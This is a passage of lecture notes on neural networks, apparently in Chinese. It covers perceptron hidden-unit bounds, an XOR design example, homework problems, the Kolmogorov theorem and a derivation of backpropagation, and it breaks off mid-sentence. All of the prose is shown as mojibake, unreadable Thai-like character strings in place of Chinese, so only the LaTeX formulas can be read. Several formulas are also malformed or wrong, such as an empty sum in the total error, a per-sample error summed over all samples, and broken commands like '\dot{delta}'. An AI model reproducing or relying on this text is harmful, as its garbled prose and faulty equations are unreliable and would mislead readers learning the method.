$n_1$ ๆ•ฐ็š„ๆฑ‚่งฃ๏ผŒๅฐฑๅ˜ๆˆไบ†ๆฑ‚ๅœจ n ็ปด็ฉบ้—ด็š„ $n_1$ ๅŒบๅŸŸๅˆ†ๅ‰ฒ๏ผŒ่ƒฝๅพ—ๅˆฐๆœ€ๅคง็š„ๅŒบๅŸŸๆ•ฐใ€‚ๅœจๆ•ฐๅญฆๅฏๅพ—ๅˆฐ็‹ฌ็ซ‹ๅŒบๅŸŸๆ•ฐไธบ: \n $$\n P(n_1,n)=\\sum^n_{i=0}\\binom{n_1}{i},n_1\\geq n\n $$\n ้‚ฃไนˆ๏ผŒๅฏน N ไธชๆ ทๆœฌ่ฟ›่กŒๅˆ†็ฑปๅˆ™่ฆๆฑ‚:\n $$\n P(n_1,n)\\geq N \\text{ ๆˆ– } n_1\\geq\\min\\{k,P(k,n)\\geq N\\}\n $$\n ไพ‹ๅฆ‚๏ผŒๅœจๅ‰้ข็š„ๅ›พไธญ๏ผŒ$n=2,n=3$ ๏ผŒๆˆ‘ไปฌๆœ‰\n $$\n P(3,2)=\\sum^2_{i=0}\\binom{3}{i}=1+3+3=7\n $$\n ๆณจๆ„๏ผš่ฟ™้‡Œ็š„ไธ‹้™ๆ˜ฏไปŽ็‹ฌ็ซ‹ๅŒบๅŸŸๆ•ฐ็š„่ง’ๅบฆ่€ƒ่™‘็š„๏ผŒๆœช่€ƒ่™‘ๅˆ†็ฑป็ป“ๆžœ๏ผŒๅ› ๆญคๅฎž้™…ไธญๆŸไธชๅˆ†็ฑป้—ฎ้ข˜ๆ‰€\n ไฝฟ็”จ็š„้šๅ•ๅ…ƒๆ•ฐๅฏ่ƒฝๆฏ”ไธŠๅผๅพ—ๅˆฐ็š„ไธ‹้™ๆ›ดๅฐใ€‚\n\n 3. ๆ นๆฎ้šๅ•ๅ…ƒๆ•ฐ็š„ไธŠไธ‹้™่ฟ›่กŒ็ฝ‘็ปœ่ฎพ่ฎก\n\n - ่พ“ๅ…ฅๅ•ๅ…ƒไธชๆ•ฐ๏ผš่พ“ๅ…ฅ็ฉบ้—ด็š„็ปดๆ•ฐ\n\n - ่พ“ๅ‡บๅ•ๅ…ƒไธชๆ•ฐ๏ผšๆ นๆฎๅˆ†็ฑป็š„็ฑปๅˆซๆ•ฐใ€‚่‹ฅๆ˜ฏไบŒๅ…ƒๅˆ†็ฑป๏ผŒๅช้œ€ไธ€ไธช่พ“ๅ‡บๅ•ๅ…ƒ;่‹ฅๆ˜ฏๅคšไธช็ฑปๅˆซ๏ผŒๅ…ˆ่ฟ›่กŒ็ฑปๅˆซไบŒๅ…ƒ็ผ–็ ใ€‚ๆ‰€็”จ็š„็ผ–็ ไฝๆ•ฐๅณๆ˜ฏ่พ“ๅ‡บๅ•ๅ…ƒ็š„ไธชๆ•ฐใ€‚\n\n - ้šๅ•ๅ…ƒๆ•ฐ๏ผšๆ นๆฎๆ ทๆœฌไธชๆ•ฐ๏ผŒๆŒ‰ๅ…ถไธŠ้™ๆˆ–ไธ‹้™ๅ…ฌๅผ็กฎๅฎšใ€‚\n\n - ๅฏน XOR ้—ฎ้ข˜่ฟ›่กŒ่ฎพ่ฎก๏ผš\n\n - XOR้—ฎ้ข˜๏ผš$N=4$๏ผŒ$(-1,-1),(1,1)\\rightarrow-1$๏ผŒ$(-1,1),(1,-1)\\rightarrow1$\n\n - ๆ นๆฎไธŠ้™๏ผš$n_1=N-1=3$\n\n - ๆ นๆฎไธ‹้™๏ผš$n_1=\\min\\{k:P(k,2)\\geq4\\}=2$\n\n ![](https://i.loli.net/2018/10/31/5bd9c40acb46c.png)\n\n\n\n\n\n- ๆ€ป็ป“\n\n - M-Pๆจกๅž‹ๅฏๅฎž็Žฐไธ€ไบ›ๅŸบๆœฌ็š„้€ป่พ‘่ฟ็ฎ—ใ€‚ \n - ๆ„Ÿ็Ÿฅๆœบๅฏๅฎž็Žฐ็บฟๆ€งๅˆ†็ฑป้—ฎ้ข˜ใ€‚\n - ๆ„Ÿ็Ÿฅๆœบ็ฎ—ๆณ•ๆ˜ฏๆ”ถๆ•›็š„ใ€‚\n - ๅคšๅฑ‚ๆ„Ÿ็Ÿฅๆœบ็ฝ‘็ปœๅฏๅฎž็Žฐ้ž็บฟๆ€งๅˆ†็ฑป้—ฎ้ข˜ใ€‚\n - ๅคšๅฑ‚ๆ„Ÿ็Ÿฅๆœบ็ฝ‘็ปœ็š„่ฎพ่ฎก๏ผš้šๅ•ๅ…ƒๆ•ฐ็š„้™ \n\n### ไฝœไธš\n\n1. ่ฏๆ˜ŽXOR่ฟ็ฎ—ไธ่ƒฝๅคŸ็”ฑๆ„Ÿ็Ÿฅๆœบๆฅๅฎž็Žฐใ€‚\n\n2. ้‡‡็”จๆ„Ÿ็Ÿฅๆœบๅญฆไน ็ฎ—ๆณ•ๆฑ‚่งฃไธ‹้ขไบŒๅ…ƒๅˆ†็ฑป้—ฎ้ข˜๏ผš\n $$\n \\begin{align}\n & x^1 = (0,0,0)\\rightarrow1,& x^2 = (1,0,0)\\rightarrow1,&\\,\\,\\,\\,\\, x^3 = (0,1,0)\\rightarrow1\\\\\n & x^4 = (0,0,1)\\rightarrow1,& x^5 = (1,1,0)\\rightarrow1,&\\,\\,\\,\\,\\,x^6 = (1,0,1)\\rightarrow-1\\\\\n &x^7 = (0,1,1)\\rightarrow-1, &x^8 = (1,1,1)\\rightarrow-1\n \\end{align}\n $$\n\n\n\n\n### 2.2 ่‡ช้€‚ๅบ”็บฟๆ€งๅ•ๅ…ƒไธŽ็ฝ‘็ปœ๏ผˆ็•ฅ๏ผ‰\n\n\n\n### 2.3 ้ž็บฟๆ€ง่ฟž็ปญๅ˜ๆขๅ•ๅ…ƒ็ป„ๆˆ็š„ๅ‰้ฆˆ็ฝ‘็ปœ\n\n็”ฑ้ž็บฟๆ€ง่ฟž็ปญๅ˜ๆขๅ•ๅ…ƒ็ป„ๆˆ็š„ๅ‰้ฆˆ็ฝ‘็ปœ๏ผŒ็ฎ€็งฐไธบBP(Back Propagation) ็ฝ‘็ปœใ€‚\n\n#### 1. ็ฝ‘็ปœ็š„็ป“ๆž„ไธŽๆ•ฐๅญฆๆ่ฟฐ\n\n - ้ž็บฟๆ€ง่ฟž็ปญๅ˜ๆขๅ•ๅ…ƒ\n\n ๅฏนไบŽ้ž็บฟๆ€ง่ฟž็ปญๅ˜ๆขๅ•ๅ…ƒ๏ผŒๅ…ถ่พ“ๅ…ฅใ€่พ“ๅ‡บๅ˜ๆขๅ‡ฝๆ•ฐๆ˜ฏ้ž็บฟๆ€งใ€ๅ•่ฐƒไธŠๅ‡ใ€่ฟž็ปญ็š„ๅณๅฏใ€‚ไฝ†ๅœจBP็ฝ‘็ปœไธญ๏ผŒๆˆ‘ไปฌ้‡‡็”จSๅž‹ๅ‡ฝๆ•ฐ๏ผš\n $$\n \\begin{align}\n u_i = & s_i=\\sum^n_{j=1}w_{ij}x_j-\\theta_i\\\\\n y_i=&f(u_i)=\\frac{1}{1+e^{-u_i}}=\\frac{1}{1+e^{-(\\sum^n_{j=1}w_{ij}x_j-\\theta_i)}}\n \\end{align}\n $$\n ๅ‡ฝๆ•ฐ $f(u)$ ๆ˜ฏๅฏๅพฎ็š„๏ผŒๅนถไธ”\n $$\n f'(u)=\\Big(\\frac{1}{1+e^{-u}}\\Big)'=f(u)(1-f(u))\n $$\n ่ฟ™็งๅ‡ฝๆ•ฐ็”จๆฅๅŒบๅˆ†็ฑปๅˆซๆ—ถ๏ผŒๅ…ถ็ป“ๆžœๅฏ่ƒฝๆ˜ฏไธ€็งๆจก็ณŠ็š„ๆ„Ÿๅฟตใ€‚ๅฝ“ $u>0$ ๆ—ถ๏ผŒๅ…ถ่พ“ๅ‡บไธๆ˜ฏ1๏ผŒ ่€Œๆ˜ฏๅคงไบŽ0.5็š„ไธ€ไธชๆ•ฐ๏ผŒ่€Œๅฝ“ $u<0$ ๆ—ถ๏ผŒ่พ“ๅ‡บๆ˜ฏไธ€ไธชๅฐไบŽ0.5็š„ไธ€ไธชๆ•ฐใ€‚่‹ฅ็”จ่ฟ™ๆ ทไธ€ไธชๅ•ๅ…ƒ่ฟ›่กŒๅˆ†็ฑป๏ผŒๅฝ“่พ“ๅ‡บๆ˜ฏ0.8ๆ—ถ๏ผŒๆˆ‘ไปฌๅฏ่ฎคไธบๅฑžไบŽA็ฑป็š„้šถๅฑžๅบฆ(ๆˆ–ๆฆ‚็Ž‡)ไธบ0.8ๆ—ถ๏ผŒ่€ŒๅฑžไบŽB็ฑป็š„้šถๅฑžๅบฆ(ๆˆ–ๆฆ‚็Ž‡)ไธบ0.2ใ€‚ \n\n - ็ฝ‘็ปœ็ป“ๆž„ไธŽๅ‚ๆ•ฐ\n\n ไธ‹้ขไปฅๅ››ๅฑ‚็ฝ‘็ปœไธบไพ‹๏ผŒๆฅไป‹็ปBP็ฝ‘็ปœ็š„็ป“ๆž„ๅ’Œๅ‚ๆ•ฐ๏ผŒไธ€่ˆฌๆƒ…ๅ†ต็ฑปไผผใ€‚ \n\n ![](https://i.loli.net/2018/10/31/5bd9c788cca56.png)\n\n > ็ฝ‘็ปœ่พ“ๅ…ฅ๏ผš$x=(x_1,x_2,\\cdots,x_n)^T\\in\\mathbb{R}^n$\n >\n > ็ฌฌไธ€้šๅฑ‚่พ“ๅ‡บ๏ผš$x'=(x'_1,x'_2,\\cdots,x'_{n_1})^T\\in\\mathbb{R}^{n_1}$\n >\n > ็ฌฌไบŒ้šๅฑ‚่พ“ๅ‡บ๏ผš$x''=(x''_1,x''_2,\\cdots,x''_{n_2})^T\\in\\mathbb{R}^{n_2}$\n > ็ฝ‘็ปœ่พ“ๅ‡บ๏ผš$y=(y_1,y_2,\\cdots,y_m)^T\\in\\mathbb{R}^m$\n > ่ฟžๆŽฅๆƒ๏ผš$w_{ji},w'_{kj},w''_{lk}$\n > ้˜ˆๅ€ผ๏ผš$\\theta_i,\\theta'_k,\\theta''_l$\n\n ็ฝ‘็ปœ็š„่พ“ๅ…ฅ่พ“ๅ‡บๅ…ณ็ณปไธบ๏ผš\n $$\n \\left\\{\\begin{matrix}\n x'_j=f(\\sum^n_{i=1}w_{ji}x_i-\\theta_j), &j=1,2,\\cdots,n_1 \\\\ \n x''_k=f(\\sum^{n_1}_{j=1}w'_{kj}x'_j-\\theta'_k),& k=1,2,\\cdots,n_2 \\\\ \n y_l=f(\\sum^{n_2}_{j=1}w''_{lk}x''_j-\\theta''_l),&l=1,2,\\cdots,m \n \\end{matrix}\\right.\n $$\n ๆ˜พ็„ถๅฏไปฅๅฐ†้˜ˆๅ€ผๅฝ’ๅ…ฅไธบ็‰นๅˆซ็š„ๆƒ๏ผŒไปŽ่€Œ็ฝ‘็ปœ็š„ๅ‚ๆ•ฐๅฏ็”จ $W$ ่กจ็คบ($W$ ไธบไธ€ไธช้›†ๅˆ)ใ€‚ไธŠ่ฟฐ็ฝ‘็ปœๅฎž็Žฐไบ†ไธ€ไธชๅคšๅ…ƒ่ฟž็ปญๅฝฑๅฐ„๏ผš\n $$\n y=F(x,W): \\mathbb{R}^n\\rightarrow\\mathbb{R}^m\n $$\n\n - ็ฝ‘็ปœ็š„ๅญฆไน ้—ฎ้ข˜\n\n - ๅญฆไน ็š„็›ฎๆ ‡๏ผš้€š่ฟ‡็ฝ‘็ปœ(ๆˆ– $F(x,W)$ )ๆฅ้€ผ่ฟ‘ไธ€ไธช่ฟž ็ปญ็ณป็ปŸ๏ผŒๅณ่ฟž็ปญๅ˜ๆขๅ‡ฝๆ•ฐ $G(x)$ใ€‚\n - ๅญฆไน ็š„ๆกไปถ๏ผšไธ€็ป„ๆ ทๆœฌ(ๅฏน) $S=\\{(x^1,y^1),(x^2,y^2),\\cdots,(x^N,y^N)\\}$\n\n ๅฏนไบŽๆ ทๆœฌๅฏน $(x^i,y^i)$๏ผŒๅญ˜ๅœจ $\\mathbf{W}^i$ ไฝฟๅพ—\n $$\n y^i=F(x^i,W),W\\in\\mathbf{W}^i\\subset\\mathbb{R}^p,p=n\\times n_1+n_1+n_1\\times n_2+n_2+n_2\\times m +m\n $$\n ๅฏนไบŽๆ‰€ๆœ‰ๆ ทๆœฌ็š„่งฃ็ฉบ้—ดไธบ๏ผš\n $$\n \\mathbf{W}=\\cap^N_{i=1}\\mathbf{W}^i\n $$\n\n - Kolmogorov ๅฎš็†\n\n Kolmogorovๅฎš็†๏ผˆๆ˜ ๅฐ„็ฅž็ป็ฝ‘็ปœๅญ˜ๅœจๅฎš็†๏ผŒ1950s๏ผ‰็ป™ๅฎšไปปไฝ•่ฟž็ปญๅ‡ฝๆ•ฐ $f:[0,1]^n\\rightarrow\\mathbb{R}^m,y=f(x)$๏ผŒๅˆ™ $f$ ่ƒฝๅคŸ่ขซไธ€ไธชไธ‰ๅฑ‚ๅ‰้ฆˆ็ฅž็ป็ฝ‘็ปœๆ‰€ๅฎž็Žฐ๏ผŒๅ…ถไธญ็ฝ‘็ปœ็š„้šๅ•ๅ…ƒๆ•ฐไธบ $2n+1$ใ€‚\n\n ![](https://i.loli.net/2018/11/01/5bda88e6744ff.png)\n $$\n \\begin{align}\n z_j&=\\sum^n_{i=1}\\lambda^j\\psi(x_i+j\\epsilon)+j,&j=1,2,\\cdots,2n+1&\\\\\n y_k&=\\sum^{2n+1}_{j=1}g_k(z_j),&k=1,2,\\cdots,m&\n \\end{align}\n $$\n ๅ…ถไธญ $\\psi$ ไธบ่ฟž็ปญๅ•่ฐƒ้€’ๅขžๅ‡ฝๆ•ฐ๏ผŒ$g_j$ ไธบ่ฟž็ปญๅ‡ฝๆ•ฐ, $\\lambda$ ไธบๅธธๆ•ฐ๏ผŒ$\\epsilon$ ไธบๆญฃๆœ‰็†ๆ•ฐใ€‚\n\n ๆณจๆ„๏ผšๅฎš็†ๆœช่งฃๅ†ณๆž„้€ ้—ฎ้ข˜ใ€‚\n\n#### 2. BP ๅญฆไน ็ฎ—ๆณ•\n\n - ๅŸบๆœฌๆ€ๆƒณ\n\n BP็ฎ—ๆณ•ๅฑžไบŽ $\\delta$ ๅญฆไน ๅพ‹๏ผŒๆ˜ฏไธ€็งๆœ‰็›‘็ฃๅญฆไน ๏ผš\n\n ![](https://i.loli.net/2018/11/01/5bda8a2525045.png)\n\n ๅฏนไบŽ่พ…ๅŠฉๅ˜้‡ๅนถๅฐ†้˜ˆๅ€ผๅฝ’ๅ…ฅๆƒๅ‚ๆ•ฐ๏ผš\n $$\n x_0\\equiv-1,w_{j0}=\\theta_j,x'_0\\equiv-1,w'_{k0}=\\theta'_k,x''_0\\equiv-1,w''_{l0}=\\theta''_l\n $$\n\n ๅˆ™ๆœ‰๏ผš\n $$\n x'_j=f(\\sum^n_{j=0}w_{ji}x_i),x''_k=f(\\sum^{n_1}_{j=0}w'_{kj}x'_j),y_l=f(\\sum^{n_2}_{k=0}w''_{lk}x''_k)\n $$\n ่€ƒ่™‘็ฌฌ $\\mu$ ไธชๆ ทๆœฌ็š„่ฏฏๅทฎ๏ผš\n $$\n E_\\mu=\\frac{1}{2}||t^\\mu-y^\\mu||^2=\\frac{1}{2}\\sum^m_{l=1}(t^\\mu_l-y^mu_l)^2\n $$\n ่ฟ›ไธ€ๆญฅๅพ—ๆ€ป่ฏฏๅทฎ๏ผš\n $$\n E=\\sum^N_{\\mu=1}=\\frac{1}{2}\\sum^N_{\\mu=1}||t^\\mu-y^\\mu||^2=\\frac{1}{2}\\sum^N_{\\mu=1}\\sum^m_{l=1}(t^\\mu_l-y^\\mu_l)^2\n $$\n ๅผ•ๅ…ฅๆƒๅ‚ๆ•ฐ็Ÿฉ้˜ต๏ผš\n $$\n \\mathbf{W}=(w_{ji})_{n_1\\times(n+1)},\\mathbf{W}'=(w'_{kj})_{n_2\\times(n_1+1)},\\mathbf{W}''=(w''_{lk})_{m\\times(n_2+1)}\n $$\n ๅ’Œๆ€ปๆƒๅ‚ๆ•ฐๅ‘้‡:\n $$\n W=\\begin{bmatrix}\n vec[\\mathbf{W}]\\\\ \n vec[\\mathbf{W}']\\\\ \n vec[\\mathbf{W}'']\n \\end{bmatrix}=(w_{10},w_{11},\\cdots,w_{sg},\\cdots,w_{cd})^T\n $$\n ๆ นๆฎๆ€ป่ฏฏๅทฎๅพ—ๅˆฐไธ€่ˆฌๆ€ง็š„ๆขฏๅบฆ็ฎ—ๆณ•๏ผš\n $$\n \\begin{align}\n E & = \\sum^N_{\\mu=1}E_\\mu(\\mathbf{W},t^\\mu,x^\\mu)\\\\\n \\Delta w_{sg}&=-\\eta\\frac{\\partial E}{\\partial w_{sg}}=-\\eta\\sum^N_{\\mu=1}\\frac{\\partial E_\\mu(\\mathbf{W},t^\\mu,x^\\mu)}{\\partial w_{sg}}\\\\\n \\Delta E & = \\sum_{s,g}\\frac{\\partial E}{\\partial w_{sg}}\\delta w_{sg}=-\\eta\\sum_{s,g}\\Big(\\frac{\\partial E}{\\partial w_{sg}}\\Big)^2\n \\end{align}\n $$\n ็ปˆๆญข่ง„ๅˆ™๏ผš\n $$\n \\Delta E=0,E\\approx0?,E\\leq\\epsilon(>0)\n $$\n ่ฟ™้‡Œ็”จๆขฏๅบฆๆณ•ๅฏไปฅไฝฟๆ€ป็š„่ฏฏๅทฎๅ‘ๅ‡ๅฐ็š„ๆ–นๅ‘ๅ˜ๅŒ–๏ผŒ็›ดๅˆฐ $\\Delta E$ ๆˆ–ๆขฏๅบฆไธบ้›ถ็ป“ๆŸใ€‚่ฟ™็งๅญฆไน ๆ–นๅผไฝฟๆƒๅ‘้‡ $\\mathbf{W}$ ่พพๅˆฐไธ€ไธช็จณๅฎš่งฃ๏ผŒไฝ†ๆ— ๆณ•ไฟ่ฏ $E$ ่พพๅˆฐๅ…จๅฑ€ๆœ€ไผ˜๏ผŒไธ€่ˆฌๆ”ถๆ•›ๅˆฐไธ€ไธชๅฑ€้ƒจๆžๅฐ่งฃใ€‚\n\n - BP็ฎ—ๆณ•็š„ๆŽจๅฏผ\n\n ไปค $n_0$ ไธบ่ฟญไปฃๆฌกๆ•ฐ๏ผŒๅˆ™ๅพ—ไธ€่ˆฌๆ€งๆขฏๅบฆไธ‹้™ๆณ•๏ผš\n $$\n \\left\\{\\begin{matrix}\n w''_{lk}(n_0+1)=w''_{lk}(n_0)-\\eta\\frac{\\partial E}{\\partial w''_{lk}} \\\\ \n w'_{kj}(n_0+1)=w'_{kj}(n_0)-\\eta\\frac{\\partial E}{\\partial w'_{kj}} \\\\ \n w_{ji}(n_0+1)=w_{ji}(n_0)-\\eta\\frac{\\partial E}{\\partial w_{ji}} \n \\end{matrix}\\right.\n $$\n ๅ…ถไธญ $\\eta$ ไธบๅญฆไน ็Ž‡๏ผŒๆ˜ฏไธ€ไธชๅคงไบŽ้›ถ็š„่พƒๅฐ็š„ๅฎžๆ•ฐใ€‚ ๅ…ˆ่€ƒ่™‘ๅฏนไบŽ $w''_{lk}$ ็š„ๅๅฏผๆ•ฐ๏ผš\n $$\n \\frac{\\partial E}{\\partial w''_{lk}}=\\sum^N_{\\mu=1}\\frac{\\partial E_\\mu}{\\partial y^\\mu_l}\\frac{\\partial y^\\mu_l}{\\partial u''^\\mu_l}\\frac{u''^\\mu_l}{\\partial w''_{lk}}=-\\sum^N_{mu=1}(t^\\mu_l-y^\\mu_l)f'(u''^\\mu_l)x''^\\mu_k\n $$\n where $(u''^\\mu_l=\\sum^{n_2}_{k=0}w''_{lk}x''^\\mu_k)$\n ๅœจไธŠๅผไธญ๏ผŒ$x''^\\mu_k$ ไธบ็ฌฌ $\\mu$ ไธชๆ ทๆœฌ่พ“ๅ…ฅ็ฝ‘็ปœๆ—ถ๏ผŒ$x''_k$ ็š„ๅฏนๅบ”ๅ€ผใ€‚ๅฆๅค–\n $$\n f'(u''^\\mu_l)=f(u''^\\mu_l)(1-f(u''^\\mu_l))=y^\\mu_l(1-y^\\mu_l)\n $$\n ไปค $\\delta^\\mu_l=(t^\\mu_l-y^\\mu_l)y^\\mu_l(1-y^\\mu_l)$\n ๅˆ™๏ผš\n $$\n w''_{lk}(n_0+1)=w''_{lk}(n_0)-\\eta\\frac{\\partial E}{\\partial w''_{lk}}=w''_{lk}(n_0)+\\eta\\sum^N_{\\mu=1}\\delta^\\mu_lx''^\\mu_k\n $$\n ไธบไบ†ๆ–นไพฟ๏ผŒๅผ•ๅ…ฅ่ฎฐๅท๏ผš\n $$\n \\left\\{\\begin{matrix}\n y_l=f(u''_l), &u''_l=\\sum^{n_2}_{k=0}w''_{lk}x''_k \\\\ \n x''_k=f(u'_k), &u'_k=\\sum^{n_1}_{j=0}w'_{kj}x'_j \\\\ \n x'_j=f(u_j), &u_j=\\sum^n_{i=0}w_{ji}x_i \n \\end{matrix}\\right.\n $$\n\n ๅฏนไบŽ $w'_{kj}$ ็š„ๅๅฏผๆ•ฐ๏ผŒๆˆ‘ไปฌๆœ‰๏ผš\n $$\n \\begin{align}\n \\frac{\\partial E}{\\partial w'_{kj}} \n &=\\sum^N_{\\mu=1}\\sum^m_{l=1}\\frac{\\partial E_\\mu}{\\partial y^\\mu_l}\\frac{\\partial y^\\mu_l}{\\partial u''^\\mu_l}\\frac{\\partial u''^\\mu_l}{x''^\\mu_k}\\frac{x''^\\mu_k}{u'^\\mu_k}\\frac{u'^\\mu_k}{w'_{kj}}\\\\\n &=-\\sum^N_{\\mu=1}\\sum^m_{l=1}(t^\\mu_l-y^\\mu_l)f'(u''^\\mu_l)w''_{lk}f'(u'^\\mu_k)x'^\\mu_j\\\\\n &=-\\sum^N_{\\mu=1}\\sum^m_{l=1}(t^\\mu_l-y^\\mu_l)y^\\mu_l(1-y^\\mu_l)w''_{lk}x''^\\mu_k(1-x''^\\mu_k)x'^\\mu_j\\\\\n &=\\sum^N_{\\mu=1}\\sum^m_{l=1}\\delta^\\mu_lw''_{lk}x''^\\mu_k(1-x''^\\mu_k)x'^\\mu_j\\\\\n &=\\sum^N_{\\mu=1}\\dot{\\delta}^\\mu_kx'^\\mu_j\n \\end{align}\n $$\n ๅ…ถไธญ\n $$\n \\dot{\\delta}^\\mu_k=\\sum^m_{l=1}\\delta^\\mu_lw''_{lk}x''^\\mu_k(1-x''^\\mu_k)=x''^\\mu_k(1-x''^\\mu_k)\\sum^m_{l=1}\\delta^\\mu_lw''_{lk}\n $$\n ่ฟ™ๆ ทๆˆ‘ไปฌๆœ‰๏ผš\n $$\n w'_{kj}(n_0+1)=w'_{kj}(n_0)+\\eta\\sum^N_{\\mu=1}\\dot{delta}^\\mu_kx'^\\mu_j\n $$\n ็ฑปไผผ็š„ๆŽจๅฏผๅฏๅพ—๏ผš\n $$\n w_{ji}(n_0+1)=w_{ji}(n_0)+\\eta\\sum^N_{\\mu=1}\\ddot{\\delta}^\\mu_jx^\\mu_i\n $$\n ๅ…ถไธญ \n $$\n \\ddot{\\delta}^\\mu_j=\\sum^{n_1}_{k=1}w'_{kj}\\dot{\\delta}^\\mu_k x'^\\mu_j(1-x'^\\mu_j)=x'^\\mu_j(1-x'^\\mu_j)\\sum^{n_1}_{k=1}w'_{kj}\\dot{\\delta}^\\mu_k\n $$\n\n - BP็ฎ—ๆณ•\n\n - Step 1. ่ต‹ไบˆๅˆๅ€ผ๏ผš$w_{sg}(0)=\\alpha(Random(\\cdot)-0.5),\\alpha>0,(w_{sg}\\rightarrow w_{ji},w'_{kj},w''_{lk})$\n - Step 2. ๅœจ $n_0$ ๆ—ถๅˆป๏ผŒ่ฎก็ฎ— $x'^\\mu_j,x''^\\mu_k,y^\\mu_l$ ๅŠๅ…ถๅนฟไน‰่ฏฏๅทฎ $\\delta^\\mu_l,l=1,2,\\cdots,m;\\dot{\\delta}^\\mu_k,k=1,2,\\cdots,n_2;\\ddot{\\delta}^\\mu_j,j=1,2,\\cdots,n_1;$\n - Step 3. ไฟฎๆญฃๆƒๅ€ผ๏ผš\n $$\n \\left\\{\\begin{matrix}\n w''_{lk}(n_0+1)=w''_{lk}(n_0)+\\eta\\sum^N_{\\mu=1}\\delta^\\mu_lx''^\\mu_k \\\\ \n w'_{kj}(n_0+1)=w'_{kj}(n_0)+\\eta\\sum^N_{\\mu=1}\\dot{\\delta}^\\mu_kx^\\mu_j \\\\ \n w_{ji}(n_0+1)=w_{ji}(n_0)+\\eta\\sum^N_{\\mu=1}\\ddot{\\delta}^\\mu_jx^\\mu_i \n \\end{matrix}\\right.\n $$\n - Step 4. ่ฎก็ฎ—ไฟฎๆญฃๅŽ็š„่ฏฏๅทฎ๏ผš\n $$\n E(n_0+1) = \\sum^N_{\\mu+1}E_\\mu(\\mathbf{W}(n_0+1),t^\\mu,x^\\mu)\n $$\n โ€‹\t่‹ฅ $E(n_0+1)<\\epsilon$ ($\\epsilon$,้ข„ๅ…ˆ็ป™ๅฎš)ๆˆ– $|\\frac{\\partial E}{\\partial w_{sg}}|<\\epsilon$๏ผŒ็ฎ—ๆณ•็ป“ๆŸ๏ผŒๅฆๅˆ™่ฟ”ๅ›žๅˆฐStep 2ใ€‚\n\n - BP็ฎ—ๆณ•็š„่ฎจ่ฎบ๏ผš\n\n 1. ่ฟ™้‡Œ็š„ๆขฏๅบฆๆ˜ฏๅฏนไบŽๅ…จ้ƒจๆ ทๆœฌ ๆฑ‚็š„๏ผŒๅ› ๆญคๆ˜ฏไธ€็งๆ‰นๅค„็†็ฎ—ๆณ•๏ผŒๅณ Batch-way๏ผŒๅฎƒ็ฌฆๅˆๆขฏๅบฆ็ฎ—ๆณ•๏ผŒ็จณๅฎšๅœฐๆ”ถๆ•›ๅˆฐๆ€ป่ฏฏๅทฎ็š„ไธ€ไธชๆžๅฐ็‚น่€Œ็ป“ๆŸใ€‚(ๆณจๆ„:ๆŒ‰ๆ€ป่ฏฏๅทฎๅฐไบŽ $\\epsilon$ ๅฏ่ƒฝๅฏผ่‡ด็ฎ—ๆณ•ไธๆ”ถๆ•›.) \n 2. ๅฎž้™…ไธญๆ›ดๅธธ็”จ็š„ๆ˜ฏๅฏนๆฏไธชๆ ทๆœฌไฟฎๆ”น๏ผŒๅณ่‡ช้€‚ๅบ”็ฎ—ๆณ•๏ผŒๅฝ“ๆฏๆฌกๆ ทๆœฌๆ˜ฏ้šๆœบ้€‰ๅ–ๆ—ถ๏ผŒๅฏ้€š่ฟ‡้šๆœบ้€ผ่ฟ‘็†่ฎบ่ฏๆ˜Ž่ฏฅ็ฎ—ๆณ•ไนŸๆ˜ฏๆ”ถๆ•›็š„ใ€‚็‰น็‚นๆ˜ฏๆ”ถๆ•›้€Ÿๅบฆๅฟซใ€‚\n 3. ไธบไบ†ไฝฟๅพ—็ฎ—ๆณ•ๆ—ข็จณๅฎš๏ผŒๅˆๅ…ทๆœ‰ๅฟซ็š„ๆ”ถๆ•›้€Ÿๅบฆ๏ผŒๅฏไปฅไฝฟ็”จๆ‰นๅค„็†ไธŽ่‡ช้€‚ๅบ”็›ธ่กฅๅ……็š„็ฎ—ๆณ•๏ผŒๅณ้€‰ๅ–ไธ€็ป„ๆ ทๆœฌ (่ฟœๅฐไบŽๅ…จ้ƒจๆ ทๆœฌ)่ฟ›่กŒ่ฎก็ฎ—ๆขฏๅบฆๅนถ่ฟ›่กŒไฟฎๆญฃ๏ผŒๅ…ถๅฎƒไธๅ˜ใ€‚\n\n#### 3. BP็ฝ‘็ปœ่ฏฏๅทฎๆ›ฒ้ข็š„็‰นๆ€ง\n\n BP็ฝ‘็ปœ็š„่ฏฏๅทฎๅ…ฌๅผไธบ๏ผš\n$$\n E=\\frac{1}{2}\\sum^N_{\\mu=1}\\sum^{m}_{l=1}(t^\\mu_l-y^\\mu_l)^2\n$$\n $y_l=f(u_l)$ ๆ˜ฏไธ€็ง้ž็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒ่€Œๅคšๅฑ‚็š„BP็ฝ‘็ปœไธญ $u_l$ ๅˆๆ˜ฏไธŠไธ€ๅฑ‚็ฅž็ปๅ…ƒ็Šถๆ€็š„้ž็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒ็”จ $E_\\mu$ ่กจ็คบๅ…ถไธญไธ€ไธชๆ ทๆœฌๅฏนๅบ”็š„่ฏฏๅทฎ๏ผŒๅˆ™ๆœ‰๏ผš\n$$\n \\begin{align}\n E_\\mu &= \\frac{1}{2}\\sum^N_{\\mu=1}\\sum^{m}_{l=1}(t^\\mu_l-y^\\mu_l)^2 = E(\\mathbf{W},t^\\mu,x^\\mu)\\\\\n E &= \\sum^N_{\\mu=1}E(\\mathbf{W},t^\\mu,x^\\mu)\n \\end{align}\n$$\n ๅฏ่ง๏ผŒ$E$ ไธŽ $\\mathbf{W}$ ๆœ‰ๅ…ณ๏ผŒๅŒๆ—ถไนŸไธŽๆ‰€ๆœ‰ๆ ทๆœฌๅฏนๆœ‰ๅ…ณ๏ผŒๅณไธŽ $S=\\{(x^1,y^1),(x^2,y^2),\\cdots,(x^N,y^N)\\}$ ๆœ‰ๅ…ณใ€‚\n\n ๅ‡ๅฎšๆ ทๆœฌ้›† $S$ ็ป™ๅฎš๏ผŒ้‚ฃไนˆ $E$ ๆ˜ฏ $\\mathbf{W}$ ็š„ๅ‡ฝๆ•ฐใ€‚ๅœจๅ‰้ข่€ƒ่™‘็š„4ๅฑ‚็ฝ‘็ปœไธญ๏ผŒๆƒๅ€ผๅ‚ๆ•ฐ็š„ๆ€ปไธชๆ•ฐไธบ๏ผš\n$$\n n_\\mathbf{W} = n(n_1+1)+n_1(n_2+1)+n_2(m+1)\n$$\n\n ้‚ฃไนˆๅœจๅŠ ไธŠ $E$ ่ฟ™ไธ€็ปดๆ•ฐ๏ผŒๅœจ $n_\\mathbf{W}+1$ ็ปด็ฉบ้—ดไธญ๏ผŒ$E$ 